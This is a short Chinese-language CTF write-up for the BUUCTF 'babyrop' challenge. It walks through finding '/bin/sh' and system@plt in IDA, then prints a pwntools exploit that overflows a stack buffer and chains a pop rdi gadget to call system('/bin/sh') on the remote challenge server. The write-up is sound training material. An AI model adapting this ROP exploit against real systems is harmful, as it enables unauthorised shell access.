1.例行检查
我们看到该文件开启了堆保护
2.我们用64位的IDA打开该文件
按shift+f12查看关键字符串,我们看到“/bin/sh”这个关键字符串
我们双击查看它的位置:0x0601048
3.我们去main函数里面看看
我们发现v4 = var_10,他的地址为:0x10
我们要拿到权限:system("/bin/sh")
所以我们要找到system地址:0x0400490
我们双击_system,system在plt表里面
4.EXP
#encoding = utf-8
from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
content = 0
elf = ELF('./babyrop')
def main():
if content == 1:
p = process('babyrop')
else:
p = remote('node4.buuoj.cn',26620)
#.data:0000000000601048 public binsh
bin_addr = 0x0601048
#.plt:0000000000400490 _system
system_addr = 0x0400490
#0x0000000000400683 : pop rdi ; ret
pop_rdi_addr = 0x400683
payload = b'a' * (0x10+0x8) + p64(pop_rdi_addr) + p64(bin_addr) + p64(system_addr)
p.recvuntil("What's your name? ")
p.sendline(payload)
p.interactive()
main()
我们发现打通了,但是没有flag
flag地址在:/home/ babyrop/flag